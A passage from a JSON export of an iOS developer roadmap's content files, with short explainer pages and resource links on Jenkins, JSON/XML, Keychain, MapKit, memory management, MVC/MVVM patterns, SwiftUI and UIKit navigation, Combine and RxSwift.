    "content": "# Jenkins\n\nJenkins is an open-source automation server widely used for continuous integration (CI) and continuous deployment (CD). It automates the process of building, testing, and deploying software, enhancing productivity and consistency in development workflows. Jenkins supports an extensive range of plugins, enabling seamless integration with various version control systems, build tools, and deployment environments. One of its key features is the Pipeline as Code functionality, which allows developers to define complex build and deployment pipelines using a domain-specific language (DSL) in Groovy. This enables version control and easier maintenance of pipelines. Jenkins is highly extensible, with over 1,500 plugins available for integration with tools such as Git, Maven, Docker, and Kubernetes. It also supports distributed builds, allowing the load to be spread across multiple machines for improved performance. Automated testing is another crucial aspect, as Jenkins can run unit, integration, and UI tests as part of the CI process, helping to catch issues early. Jenkins' flexibility and extensive plugin ecosystem make it a popular choice for automating complex CI/CD workflows.\n\nLearn more from the following resources:\n\n- [@official@Jenkins Website](https://www.jenkins.io/)\n- [@article@What is Jenkins?](https://www.spiceworks.com/tech/devops/articles/what-is-jenkins/)\n- [@article@How to use Jenkins to build your iOS app](https://sabapathy7.medium.com/how-to-use-jenkins-to-build-your-ios-app-55a8d147e3b2)"
  },
  {
    "path": "src/data/roadmaps/ios/content/json--xml@WYV4YG_sLvC4S5ptFFdrF.md",
    "content": "# JSON / XML\n\nJSON (JavaScript Object Notation) and XML (eXtensible Markup Language) are widely used data interchange formats in iOS development, each with its own strengths and use cases. JSON has become increasingly popular due to its lightweight nature and ease of use, particularly in web services and APIs. Swift provides built-in support for JSON encoding and decoding through the Codable protocol, simplifying the process of converting between JSON data and Swift objects. XML, while less common in modern APIs, is still used in certain scenarios, especially for complex, hierarchical data structures. iOS provides the XMLParser class for parsing XML data, though it requires more manual handling compared to JSON. Both formats support data serialization and deserialization, allowing for easy storage and transmission of structured data. When working with external APIs or services, the choice between JSON and XML is often dictated by the service provider, but for internal data storage or custom APIs, JSON is generally preferred for its simplicity and performance in mobile environments."
  },
  {
    "path": "src/data/roadmaps/ios/content/keeping-updated-with-wwdc@fOOQurIL1w3PwH5Mep9x1.md",
    "content": "# Keeping Updated with WWDC\n\nWWDC (Worldwide Developers Conference) is an annual conference held by Apple for software developers. The main objectives of the conference are:\n\n1. **Presenting New Products**: Apple uses WWDC to announce new versions of its operating systems, such as iOS, macOS, watchOS, and tvOS, as well as new products and technologies.\n2. **Developer Training**: The conference includes numerous technical sessions, labs, and workshops where developers can receive tips and guidance from Apple engineers on using the latest tools and technologies.\n3. **Networking**: Developers from around the world gather at WWDC to share experiences and establish valuable connections.\n\nWWDC typically takes place in June and kicks off with a keynote presentation where Tim Cook and other Apple executives introduce major updates and new products.\n\nVisit the following resources to learn more:\n\n- [@official@Worldwide Developers Conference](https://developer.apple.com/wwdc)\n- [@official@Apple Developer YouTube channel](https://www.youtube.com/@AppleDeveloper)\n- [@official@WWDC videos collection by year](https://developer.apple.com/videos/)\n- \n"
  },
  {
    "path": "src/data/roadmaps/ios/content/keychain@8v_eP0j85TnB33XyYAzrT.md",
    "content": "# Keychain\n\nThe Keychain in iOS provides a secure, encrypted storage system for sensitive data such as passwords, authentication tokens, and other confidential information. It offers a higher level of security compared to other local storage options, as the data is encrypted and protected by the device's security features. The Keychain Services API allows apps to store, retrieve, and manage small chunks of data in a way that's significantly more secure than alternatives like User Defaults. Data stored in the Keychain persists across app reinstalls and can be shared between apps from the same developer. While powerful, working with the Keychain API can be complex, leading many developers to use wrapper libraries that simplify its usage. It's crucial to manage Keychain items carefully, considering aspects like accessibility settings and access groups, to ensure data remains secure while still being available when needed by the app.\n\nLearn more from the following resources:\n\n- [@official@Keychain Services](https://developer.apple.com/documentation/security/keychain_services)\n- [@article@Local storage in iOS: Keychain](https://medium.com/@omar.saibaa/local-storage-in-ios-keychain-668240e2670d)"
  },
  {
    "path": "src/data/roadmaps/ios/content/latest-ios-sdk@SBlLNfyWzzhdFNtNtkLet.md",
    "content": "# Latest iOS SDK\n\nThe latest iOS SDK can be found in the following resources:\n\n- [@official@Apple Developer Website](https://developer.apple.com/develop/)"
  },
  {
    "path": "src/data/roadmaps/ios/content/latest-swift-version@e7qVpQeu2iQL0c9MOMCVe.md",
    "content": "# Latest Swift Version\n\nThe latest Swift version can be found in the following resources:\n\n- [@official@Official Swift Website](https://www.swift.org/download/)\n- [@official@Swiftversion.net](https://swiftversion.net/)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/lottie@i-T6GTqS0FZ_Llt5v4SvR.md",
    "content": "# Lottie\n\nLottie is a cross-platform library for iOS, macOS, tvOS, visionOS, Android, and Web that natively renders vector-based animations and art in realtime with minimal code.\nLottie loads and renders animations and vectors exported in the bodymovin JSON format. Bodymovin JSON can be created and exported from After Effects with bodymovin, Sketch with Lottie Sketch Export, and from Haiku.\n\nVisit the following resources to learn more:\n\n- [@official@Lottie for iOS](https://github.com/airbnb/lottie-ios)\n- [@article@How to Add Lottie Animations in iOS Apps](https://lottiefiles.com/blog/working-with-lottie-animations/how-to-add-lottie-animation-ios-app-swift)\n- [@article@Lottie, with official support for SwiftUI](https://github.com/airbnb/lottie-ios/discussions/2189)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/mapkit@XOXsjaQ-YyuAMpVCqH8KG.md",
    "content": "# MapKit\n\nMapKit is a powerful framework provided by Apple for integrating interactive maps and location-based services into iOS, macOS, and tvOS applications. It offers a rich set of tools for displaying maps, adding annotations and overlays, handling user interactions, and performing geocoding and reverse geocoding. The framework provides customizable map views that support various map types, including standard, satellite, and hybrid views. Developers can easily add pins, custom annotations, and polylines to highlight specific locations or routes. MapKit integrates seamlessly with Core Location for handling real-time user positioning and region monitoring. It also supports features like 3D map views, flyover mode, and turn-by-turn navigation. The framework handles map rendering and data management efficiently, optimizing performance even when dealing with large numbers of map elements. By leveraging MapKit, developers can create sophisticated location-aware applications, from simple map displays to complex navigation and geospatial analysis tools, enhancing user experience with visual and interactive geographical data.\n\nLearn more from the following resources:\n\n- [@official@MapKit](https://developer.apple.com/documentation/mapkit/)\n- [@video@Meet MapKit for SwiftUI](https://developer.apple.com/videos/play/wwdc2023/10043/)\n- [@article@Implement MapKit APIs](https://medium.com/simform-engineering/mapkit-swiftui-in-ios-17-1fec82c3bf00)"
  },
  {
    "path": "src/data/roadmaps/ios/content/media@nGCG74_Xp_Ngt0u7PZnZl.md",
    "content": "# Media\n\nThe iOS Media Layer is a collection of frameworks and technologies that enable developers to incorporate rich multimedia experiences into their apps. It includes tools for handling audio, video, and graphics. Key components are AVFoundation for working with time-based audiovisual media, Core Audio for low-level audio processing, Core Animation for fluid animations and visual effects, and Metal for high-performance graphics rendering. This layer also provides support for camera operations, audio recording, and media playback.\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/memory-management@tqbg8mBJfjuXacdMlIB_L.md",
    "content": "# Memory Management\n\nMemory management involves allocating memory for objects and freeing it after use. Manual Retain-Release (MRR) requires developers to explicitly manage memory using reference counting, provided by the Foundation class NSObject. Automatic Reference Counting (ARC) automates this process by inserting memory management method calls during compilation, though it still uses reference counting. In contrast, Garbage Collection (GC) automatically tracks object ownership and releases unreferenced objects, using a different mechanism than MRR and ARC, and is supported only in the macOS X runtime environment, not on iOS.\n\n> Beginning May 1, 2015, new Mac apps and app updates submitted to the Mac App Store may no longer use garbage collection, which was deprecated in OS X Mountain Lion. Instead, migrate your apps to Automatic Reference Counting, using the migration assistant in Xcode to help with this transition. Apps may continue to use retain/release for manual memory management. For more information, read the [Transitioning to ARC Release Notes](https://developer.apple.com/library/ios/releasenotes/ObjectiveC/RN-TransitioningToARC/Introduction/Introduction.html).\n\nVisit the following resources to learn more:\n\n- [@official@WWDC2021: ARC in Swift: Basics and beyond](https://developer.apple.com/videos/play/wwdc2021/10216/)\n- [@official@ARC(Automatic Reference Counting)](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/automaticreferencecounting/)\n- [@official@About Memory Management](https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/MemoryMgmt/Articles/MemoryMgmt.html)\n- [@official@Mac Apps That Use Garbage Collection Must Move to ARC](https://developer.apple.com/news/?id=02202015a)\n- [@official@MemoryLayout](https://developer.apple.com/documentation/swift/memorylayout)\n- [@official@Detect and diagnose memory issues](https://developer.apple.com/videos/play/wwdc2021/10180/)\n- [@official@WWDC24: Analyze heap memory](https://www.youtube.com/watch?v=X_JYRz-Hd0o)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/metal@5VguZoP4h40rTWkxWxaxU.md",
    "content": "# Metal\n\nMetal is a high-performance graphics and compute framework for iOS, macOS, and tvOS, designed by Apple. It enables developers to harness the full power of the GPU for advanced 3D graphics, complex visual effects, and data-parallel computation. Metal provides low-level, low-overhead access to the GPU, allowing for fine-tuned performance optimizations in applications and games.\n\nLearn more from the following resources:\n\n- [@official@Metal Documentation](https://developer.apple.com/metal/)\n- [@course@Metal Tutorial](https://metaltutorial.com/)"
  },
  {
    "path": "src/data/roadmaps/ios/content/modals-and-navigation@jb89kQxDhZND3vQo0EH7r.md",
    "content": "# Modals and Navigation\n\nUIKit navigation stacks support both modal presentations and hierarchical navigation:\n\nModal presentations temporarily overlay new content using present(_:animated:completion:). They're suitable for self-contained tasks or information that doesn't fit the main navigation hierarchy.\n\nHierarchical navigation uses push and pop operations on the navigation stack. pushViewController(_:animated:) adds a new screen, while popViewController(animated:) returns to the previous one.\n\nThese can be combined: a modal can contain its own navigation stack, or a screen in the main navigation can present a modal. This flexibility allows developers to create complex navigation patterns that maintain clarity and context for users, adapting to various app structures and user flow requirements.\n\nLearn more from the following resources:\n\n- [@official@animate(withDuration:animations:completion:)](https://developer.apple.com/documentation/uikit/uiview/1622515-animate)\n- [@officialpushViewController](https://developer.apple.com/documentation/uikit/uinavigationcontroller/1621887-pushviewcontroller)\n- [@video@UIKit Programmatic Navigation](https://www.youtube.com/watch?v=c0YSGtFmik8)"
  },
  {
    "path": "src/data/roadmaps/ios/content/mvc@a-QDI7Ei-B5BRHbicFcfG.md",
    "content": "# MVC\n\nThe Model-View-Controller (MVC) design pattern assigns objects in an application one of three roles: model, view, or controller. The pattern defines not only the roles objects play in the application, it defines the way objects communicate with each other. Each of the three types of objects is separated from the others by abstract boundaries and communicates with objects of the other types across those boundaries. The collection of objects of a certain MVC type in an application is sometimes referred to as a layer—for example, model layer.\n\nMVC is central to a good design for a Cocoa application. The benefits of adopting this pattern are numerous. Many objects in these applications tend to be more reusable, and their interfaces tend to be better defined. Applications having an MVC design are also more easily extensible than other applications. Moreover, many Cocoa technologies and architectures are based on MVC and require that your custom objects play one of the MVC roles\n\nVisit the following resources to learn more:\n\n- [@offical@Model-View-Controller](https://developer.apple.com/library/archive/documentation/General/Conceptual/DevPedia-CocoaCore/MVC.html)\n- [@offical@Model-View-Controller](https://developer.apple.com/library/archive/documentation/General/Conceptual/CocoaEncyclopedia/Model-View-Controller/Model-View-Controller.html)\n- [@article@MVC in iOS – A Modern Approach](https://www.kodeco.com/1000705-model-view-controller-mvc-in-ios-a-modern-approach)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/mvp@lVNrnUK6p4eifKRVSnOje.md",
    "content": "# MVP\n\nThe Model-View-Presenter (MVP) architectural pattern is a derivative of the Model-View-Controller (MVC) pattern, designed to improve separation of concerns and testability in iOS applications. \n\nIn MVP:\n\n**Model**: Represents the data and business logic.\n\n**View**: Responsible for displaying data and capturing user inputs. It's typically passive and doesn't contain business logic.\n\n**Presenter**: Acts as an intermediary between Model and View. It retrieves data from the Model, formats it for the View, and reacts to user inputs from the View.\n\nMVP reduces the responsibilities of the View compared to MVC, making the UI layer thinner and more easily testable. The Presenter contains the presentation logic and is usually paired with a specific View, facilitating unit testing of the user interface logic without needing to interact with the UI components directly.\n\nLearn more from the following resources:\n\n- [@article@MVP Wikipedia](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93presenter)\n- [@article@]Swift MVP: A Step-by-Step Guide for Clean Code](Swift MVP: A Step-by-Step Guide for Clean Code)\n- [@video@Discover the MVP architecture in less than 90 seconds](https://www.youtube.com/watch?v=DUX0nr5rvnU)"
  },
  {
    "path": "src/data/roadmaps/ios/content/mvvm-c@iLT2jAkQg-Ex0zSLquNfl.md",
    "content": "# MVVM-C\n\nMVVM-C (Model-View-ViewModel-Coordinator) is an extension of the MVVM architectural pattern that adds a Coordinator component to manage navigation flow and app structure. In this pattern:\n\nModel, View, and ViewModel retain their roles from MVVM.\n\n**Coordinator**: Handles navigation logic and flow between different screens or modules of the app.\n\nThe Coordinator pattern decouples view controllers from each other, centralizing navigation logic. This approach simplifies view controllers, improves modularity, and makes it easier to change or reuse flows within the app. Coordinators can be nested for complex navigation hierarchies.\n\nLearn more from the following resources:\n\n- [@video@Everything you need to know about client arthitecture patterns](https://www.youtube.com/watch?v=I5c7fBgvkNY)\n- [@article@iOS Architecture: MVVM-C, Introduction](https://medium.com/sudo-by-icalia-labs/ios-architecture-mvvm-c-introduction-1-6-815204248518)"
  },
  {
    "path": "src/data/roadmaps/ios/content/mvvm@taTxZw2c3xS18JOwgkNHM.md",
    "content": "# MVVM\n\nThe Model-View-ViewModel (MVVM) architectural pattern is a design approach that separates an application's user interface logic from its business logic. In iOS development:\n\n**Model**: Represents data and business logic, independent of the UI.\n\n**View**: Displays information and captures user input. In iOS, this is typically a UIView or UIViewController.\n\n**ViewModel**: Acts as an intermediary between Model and View, containing the presentation logic and state. It exposes data and commands for the View to bind to.\n\nMVVM promotes a clear separation of concerns, enhances testability, and facilitates data binding. The ViewModel transforms Model information for View consumption and handles View-related logic, making the View as passive as possible.\n\nLearn more from the following resources:\n\n- [@video@]MVVM In 100 Seconds](https://www.youtube.com/watch?v=-xTqfilaYow)\n- [@article@Understanding MVVM: Model-View-ViewModel Architecture Explained](https://www.ramotion.com/blog/what-is-mvvm/)\n- [@article@MVVM - Wikipedia](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93viewmodel)\n- [@article@MVVM - Microsoft](https://learn.microsoft.com/en-us/dotnet/architecture/maui/mvvm)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/navigation-controllers-segues@tUbMr1pGlw4JwMuW311JJ.md",
    "content": "# Navigation Controllers, Segues\n\nUIKit Navigation Controllers and Segues are key components for managing app navigation:\n\nNavigation Controllers (`UINavigationController`) manage a stack of view controllers, providing a hierarchical interface for navigating content. They handle push and pop transitions between screens, maintain a navigation bar, and support back-navigation functionality.\n\nSegues are visual connections between view controllers in storyboards, defining transitions between scenes. They can be triggered programmatically or through user interactions. Types include push, modal, and custom segues. Segues simplify the process of passing data between view controllers during transitions.\n\nLearn more from the following resources:\n\n- [@video@How to Nav Bar Programmatically](https://www.youtube.com/watch?v=wcN3-E1_ZxU)\n- [@official@UINavigationController](https://developer.apple.com/documentation/uikit/uinavigationcontroller)"
  },
  {
    "path": "src/data/roadmaps/ios/content/navigation-stacks@TLm70PlTI0K3Odn1iYxWX.md",
    "content": "# Navigation Stacks\n\niOS 16 introduced a new concept of navigating through SiwftUI apps: NavigationStack.\nNavigationStack is data-driven, meaning that you specify navigationDestinations for each data type (models) that your app supports.\nThese destinations are defined once for each NavigationStack and are valid throughout the app.\nNavigation itself is handled through the NavigationLink View, which allows setting a label and a value (your model).\n\nVisit the following resources to learn more:\n\n- [@official@NavigationStack](https://developer.apple.com/documentation/swiftui/navigationstack)\n- [@video@NavigationStack](https://www.youtube.com/watch?v=DMsALlhObNk)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/navigation-stacks@mUMDZsgzCB6cs_K6pfUY1.md",
    "content": "# Navigation Stacks\n\nUIKit Navigation Stacks, managed by UINavigationController, provide a hierarchical way to organize content in iOS apps. The stack operates on a last-in-first-out basis, where view controllers are pushed onto or popped from the top. The root view controller remains at the bottom, while subsequent screens are added above it. This structure allows for intuitive drill-down interfaces and easy back-navigation. Navigation stacks automatically handle transitions between view controllers, maintain a navigation bar with titles and back buttons, and can be customized for specific navigation patterns. They are fundamental to creating depth in app navigation, enabling users to traverse complex information hierarchies efficiently."
  },
  {
    "path": "src/data/roadmaps/ios/content/navigation-view@IBr2P7dknWTnZ2a-fFCqN.md",
    "content": "# Navigation View\nA view for presenting a stack of views that represents a visible path in a navigation hierarchy.\nUse a NavigationView to create a navigation-based app in which the user can traverse a collection of views. Users navigate to a destination view by selecting a NavigationLink that you provide. On iPadOS and macOS, the destination content appears in the next column. Other platforms push a new view onto the stack, and enable removing items from the stack with platform-specific controls, like a Back button or a swipe gesture.\n> [!WARNING]\n> Deprecated. Use NavigationStack and NavigationSplitView instead. For more information, see Migrating to new navigation types.\n\nVisit the following resources to learn more:\n\n- [@official@Navigation View](https://developer.apple.com/documentation/swiftui/navigationview)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/navigation@02VAK4GMkN6nDHf1zqwPA.md",
    "content": "# Navigation\n\nSwiftUI navigation offers a declarative approach to managing app structure and flow, primarily utilizing NavigationView for creating hierarchies and NavigationLink for inter-view navigation. The framework supports both push-based navigation for hierarchical content and modal presentations for overlays, with programmatic navigation achieved through state management for dynamic, logic-driven navigation. SwiftUI automatically handles navigation bars, back buttons, and view transitions, while supporting customization of navigation bar appearances and titles. For tab-based interfaces, TabView facilitates the creation of multi-tab applications. This navigation system integrates seamlessly with SwiftUI's state management, ensuring consistent UI updates as navigation states change, thereby simplifying the implementation of complex navigation patterns while maintaining an intuitive user experience across Apple platforms.\n\nLearn more from the following resources:\n\n- [@official@Apple Tutorials: Navigation and modal presentation - Creating a navigation hierarchy](https://developer.apple.com/tutorials/app-dev-training/creating-a-navigation-hierarchy)\n- [@official@Apple Tutorials: Navigation and modal presentation - Managing data flow between views](https://developer.apple.com/tutorials/app-dev-training/managing-data-flow-between-views)\n- [@official@Apple Tutorials: Navigation and modal presentation - Creating the edit view](https://developer.apple.com/tutorials/app-dev-training/creating-the-edit-view)\n- [@article@The complete guide to NavigationView in SwiftUI](https://www.hackingwithswift.com/articles/216/complete-guide-to-navigationview-in-swiftui)\n- [@opensource@pointfreeco/swiftui-navigation](https://github.com/pointfreeco/swiftui-navigation)"
  },
  {
    "path": "src/data/roadmaps/ios/content/navigation@FXUrfyvuIIOH7VDnT_E0z.md",
    "content": "# Navigation\n\nNavigation helps users easily find their way around an app and locate the information they need, minimizing confusion. Utilizing familiar navigation patterns can simplify complex interactions while preserving the app's unique character. Learn best practices and common pitfalls when working with tab bars, modals, and other navigation elements.\n\nVisit the following resources to learn more:\n\n- [@official@WWDC2022: Explore navigation design for iOS](https://developer.apple.com/videos/play/wwdc2022/10001/)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/navigationlink@my77jLU2qxU7bQ7_Fx2iH.md",
    "content": "# NavigationLink\n\nNavigationLink is a SwiftUI component used to create navigation hierarchies within an app. It enables developers to define navigation paths between views, typically within a NavigationView. When tapped, a NavigationLink pushes a new view onto the navigation stack. It can be configured with a destination view and optional label, allowing for customizable navigation buttons or entire rows in lists to become navigable. NavigationLink supports programmatic navigation through bindings, enabling dynamic navigation based on app state.\n\nLearn more from the following resources:\n\n- [@official@NavigationLink Documentation](https://developer.apple.com/documentation/swiftui/navigationlink)\n- [@article@Displaying a detail screen with NavigationLink](https://www.hackingwithswift.com/quick-start/swiftui/displaying-a-detail-screen-with-navigationlink)\n- [@video@Displaying a detail screen with NavigationLink](https://www.youtube.com/watch?v=yGqmf8hnC8U)"
  },
  {
    "path": "src/data/roadmaps/ios/content/navigators@odKZx4SUULF1y4gmiJZdu.md",
    "content": "# Navigators\n\nXcode navigators are a set of tools located in the Navigator Area on the left side of the Xcode window. They provide different views and organizational structures for managing various aspects of your project:\n\n1. Project Navigator: Displays project files and groups\n2. Source Control Navigator: Shows version control information\n3. Symbol Navigator: Lists symbols (classes, methods, variables) in your project\n4. Find Navigator: Displays search results across the project\n5. Issue Navigator: Lists warnings, errors, and analysis results\n6. Test Navigator: Organizes and runs unit tests\n7. Debug Navigator: Shows running processes and debug information\n8. Breakpoint Navigator: Manages breakpoints throughout your code\n9. Report Navigator: Displays build and run reports\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/networking@JoNoM-utp8MaL1H0oXDta.md",
    "content": "# Networking\n\nNetworking in iOS development involves the exchange of data between an app and remote servers or services over the internet. At the core of iOS networking is URLSession, a powerful class within the Foundation framework that handles HTTP/HTTPS communications. URLSession supports a wide range of operations, from simple data fetching to complex, concurrent downloads and uploads. Developers use it to create data tasks for basic requests, download tasks for file transfers, and upload tasks for sending data to servers. URLSession manages connections, authentication, and caching automatically. iOS networking often revolves around interacting with RESTful APIs, typically using JSON for data interchange. Robust networking code requires careful error handling, efficient response parsing, and effective management of network reachability. Modern Swift features like the Combine framework and async/await syntax complement URLSession by providing more elegant ways to handle asynchronous network operations, enhancing code readability and maintainability in complex scenarios."
  },
  {
    "path": "src/data/roadmaps/ios/content/new-feature-announcements@0dbdUmWvTIJ0fkUuLp9gR.md",
    "content": "# New Feature Announcements\n\nThe latest feature announcements can be found in the following resources:\n\n- [@official@Apple Developer Whats New](https://developer.apple.com/whats-new/)\n- [@official@Apple WDDC Community](https://developer.apple.com/wwdc24/community/)"
  },
  {
    "path": "src/data/roadmaps/ios/content/new-project@BJgoAgH85U6S3RtXq7hHV.md",
    "content": "# New Project\n\nTo create an Xcode project for your app, select a platform template such as iOS, macOS, watchOS, or tvOS, and choose the type of app you want to develop, like a single view, game, or document-based app. Xcode templates provide essential configuration and files, allowing you to quickly start developing your app. This setup helps streamline the initial stages of app development.\n\nLearn more from the following resources:\n\n- [@official@Creating an Xcode project for an app](https://developer.apple.com/documentation/xcode/creating-an-xcode-project-for-an-app)\n- [@video@Build Your First iOS App For Beginners](https://www.youtube.com/watch?v=nqTcAzPS3oc)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/objective-c-basics@0BSX80W1TJ_Ia_Zh2zKyK.md",
    "content": "# Objective-C Basics"
  },
  {
    "path": "src/data/roadmaps/ios/content/objective-c@oOaMz9A5DZvrjxovMztXz.md",
    "content": "# Objective-C\n\nObjective-C is a general-purpose, object-oriented programming language that adds Smalltalk-style messaging to the C programming language.\n\nIt was the primary language used by Apple for macOS and iOS development before the introduction of Swift.\n\nObjective-C enables the creation of dynamic and flexible applications by allowing objects to send messages to each other. It is known for its runtime capabilities and is often used in conjunction with Apple's Cocoa and Cocoa Touch frameworks.\n\nVisit the following resources to learn more:\n\n- [@official@Programming with Objective-C](https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ProgrammingWithObjectiveC/Introduction/Introduction.html#//apple_ref/doc/uid/TP40011210)\n- [@feed@Explore top posts about C Programming](https://app.daily.dev/tags/c?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/observables--observers@k232wKg7XCb_ngjZ5Mwsy.md",
    "content": "# Observables & observers\n\nRxSwift Observables and Observers form the core of its reactive paradigm. Observables represent sequences of data or events over time, emitting items to subscribed Observers. Observers react to these emissions, handling new values, errors, or completion signals. This pattern allows for decoupling of data production from consumption, facilitating asynchronous programming. Observables can represent various data sources like UI events, network responses, or timer ticks. Observers can be chained with operators to transform or filter data streams. This approach simplifies complex asynchronous operations, making code more readable and maintainable.\n\nLearn more from the following resources:\n\n- [@article@RxSwift - Observables](https://medium.com/@priya_talreja/rxswift-observables-7809b474aab)\n- [@video@Creating Observables](https://www.youtube.com/watch?v=h59te-_rVYg)\n- [@opensource@RxSwift Documentation - Observables](https://github.com/ReactiveX/RxSwift/blob/main/Documentation/GettingStarted.md#observables-aka-sequences)"
  },
  {
    "path": "src/data/roadmaps/ios/content/oop@FoqlB7xBIrV4yUp4ReBkw.md",
    "content": "# OOP\n\nObject-Oriented Programming **(OOP)** is a style where code is organized around \"objects,\" which are instances of classes combining data and methods. It emphasizes encapsulation, abstraction, inheritance, and polymorphism, enabling modular, reusable, and maintainable code. OOP allows developers to model real-world entities and their interactions, making complex software design more intuitive and efficient.\n\nLearn more from the following resources:\n\n- [@video@Object-oriented Programming in 7 minutes](https://www.youtube.com/watch?v=pTB0EiLXUC8)"
  },
  {
    "path": "src/data/roadmaps/ios/content/operation-queues@mdAV4JlF08q-ZQpb5C3q6.md",
    "content": "# Operation Queues\n\nOperation Queues in iOS provide a high-level, object-oriented approach to managing concurrent tasks. Built on top of Grand Central Dispatch, they offer more flexibility and control over task execution compared to raw GCD. Operation Queues work with Operation objects, which encapsulate work to be performed and can include dependencies, cancellation, and prioritization. These queues allow for easy management of task dependencies, ensuring that operations are executed in the correct order. They support both synchronous and asynchronous operations, making them suitable for a wide range of concurrency scenarios. Operation Queues provide built-in support for maximum concurrent operation limits, helping to prevent system overload. Developers can subclass NSOperation to create custom, complex operations with intricate logic and state management. This abstraction layer simplifies the implementation of advanced concurrency patterns, making Operation Queues particularly useful for managing complex, interdependent background tasks in iOS applications.\n\nLearn more from the following resources:\n\n- [@official@OperationQueue](https://developer.apple.com/documentation/foundation/operationqueue)\n- [@article@Getting started with Operations and OperationQueues in Swift](https://www.avanderlee.com/swift/operations/)\n- [@article@Working with Operation Queue in Swift: Managing Multithreading and Cancelling Operations](https://www.linkedin.com/pulse/working-operation-queue-swift-managing-multithreading-igor-rukaleev-2t1ye/)"
  },
  {
    "path": "src/data/roadmaps/ios/content/operators--pipelines@GAn12SsVR_mPxOaOVckdz.md",
    "content": "# Operators & Pipelines\n\nThe Combine framework uses operators and pipelines to process and transform data streams. Operators are methods that perform operations on publishers, such as filtering, mapping, or combining data. Pipelines are chains of these operators that process data from its source to its final destination. Common operators include `map`, `filter`, `reduce`, and `merge`. Pipelines allow developers to declaratively describe complex asynchronous operations, handling tasks like data transformation, error management, and combining multiple data sources. This approach simplifies handling of asynchronous events and state changes, enabling more robust and maintainable code in iOS applications.\n\nLearn more from the following resources:\n\n- [@video@How to master Combine like a Pro – The Operators](https://www.youtube.com/watch?v=-NDFLP7Aqeg)\n- [@article@Swift Combine — Combine Operators & Filtering Operators](https://nikunj-joshi.medium.com/swift-combine-introduction-to-combine-operators-filtering-operators-510d962b95f2)\n- [@article@Custom Operators in Swift Combine](https://bignerdranch.com/blog/custom-operators-in-swift-combine/)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/operators@t7IYTY8tVjC_xzM1n8wts.md",
    "content": "# Operators\n\nRxSwift operators are functions that process, transform, or combine observable sequences. They allow developers to manipulate data streams in powerful ways. Common operators include map (transform elements), filter (select elements based on criteria), flatMap (transform elements into new observables), merge (combine multiple observables), and debounce (limit emission rate). Operators can be chained to create complex data processing pipelines. They handle tasks like error management, retrying failed operations, and combining asynchronous operations.\n\nLearn more from the following resources:\n\n- [@article@Mastering RxSwift Operators](https://medium.com/@mumensh/mastering-rxswift-operators-e66bd8ef5933)\n- [@course@Interactive diagrams of Rx Observables](https://rxmarbles.com/)"
  },
  {
    "path": "src/data/roadmaps/ios/content/parsing@UTVh1RHRWb5eA-S7ayLp8.md",
    "content": "# Parsing\n\nJSON and XML parsing in iOS involves converting structured data formats into native Swift objects for use within an application. For JSON parsing, Swift's Codable protocol provides a streamlined approach, allowing automatic encoding and decoding of JSON data to and from Swift structs or classes. This system leverages Swift's type inference to create a seamless conversion process, handling most common data structures with minimal code. For more complex JSON structures, custom coding keys and decoding strategies can be implemented. XML parsing, while less common, is typically handled using NSXMLParser or third-party libraries. These parsers often use a delegate-based approach, calling methods as it encounters different elements in the XML structure. Both JSON and XML parsing require careful error handling to manage malformed data or network issues. When dealing with large datasets, considerations for memory management and performance optimization become crucial, often leading to the use of streaming parsers for more efficient processing of extensive data structures.\n\nLearn more from the following resources:\n\n- [@article@JSON Parsing in Swift explained with code examples](https://www.avanderlee.com/swift/json-parsing-decoding/)\n- [@article@Parsing XML using Swift](https://medium.com/cracking-swift/parsing-remote-xml-using-swift-bfa9701fff84)\n- [@official@XMLParser](https://developer.apple.com/documentation/foundation/xmlparser)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/pick-a-language@MrdIb9F-wSEbUz7KRnH3t.md",
    "content": "# Pick a Language\n\nApple used to use Objective C for the development of apps for iOS and macOS, but since 2014 [Swift](https://www.swift.org/documentation/) has become the primary language for app development. After more than 10 years of growing strong and mature, now it is worth starting your iOS Developer journey by learning the language.\n\nSwift is a multi-paradigm language that has object-oriented, functional, and protocol-oriented flavors to it. For someone with a coding background in C++ and Java, the strange concepts would be Optionals, Closures, and the very fact you can skip writing semicolons when you end your statements.\n\nVisit the following resources to learn more:\n\n- [@course@Swift Programming Tutorial | FULL COURSE | Absolute Beginner](https://www.youtube.com/watch?v=CwA1VWP0Ldw)\n- [@course@Swift Programming For Beginners - No Programming Experience](https://www.udemy.com/course/swift-programming-for-beginners-no-experience/)\n- [@course@Swift Programming Tutorial – Full Course for Beginners](https://www.youtube.com/watch?v=8Xg7E9shq0U)\n- [@course@Learn Swift Fast (2020) - Full Course For Beginners](https://www.youtube.com/watch?v=FcsY1YPBwzQ)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/preferences@SeGfULWFR7ufdv4U9Db3F.md",
    "content": "# Preferences\n\nXcode preferences allow you to customize your development environment to suit your workflow. They offer various settings across multiple tabs, including General, Accounts, Behaviors, Text Editing, Key Bindings, and more. These preferences let you manage your Apple developer accounts, configure source control, adjust editor and theme settings, and set up custom key bindings, helping streamline your development process.\n\nLearn more from the following resources:\n\n- [@official@Configuring Source Control Preferences](https://developer.apple.com/documentation/xcode/configuring-source-control-preferences-in-xcode)\n- [@article@Customize Xcode](https://help.apple.com/xcode/mac/current/#/dev9d00ebc70)"
  },
  {
    "path": "src/data/roadmaps/ios/content/presenting--dismissing-views@4pmjLa7WvwV7D3RZlM6Hp.md",
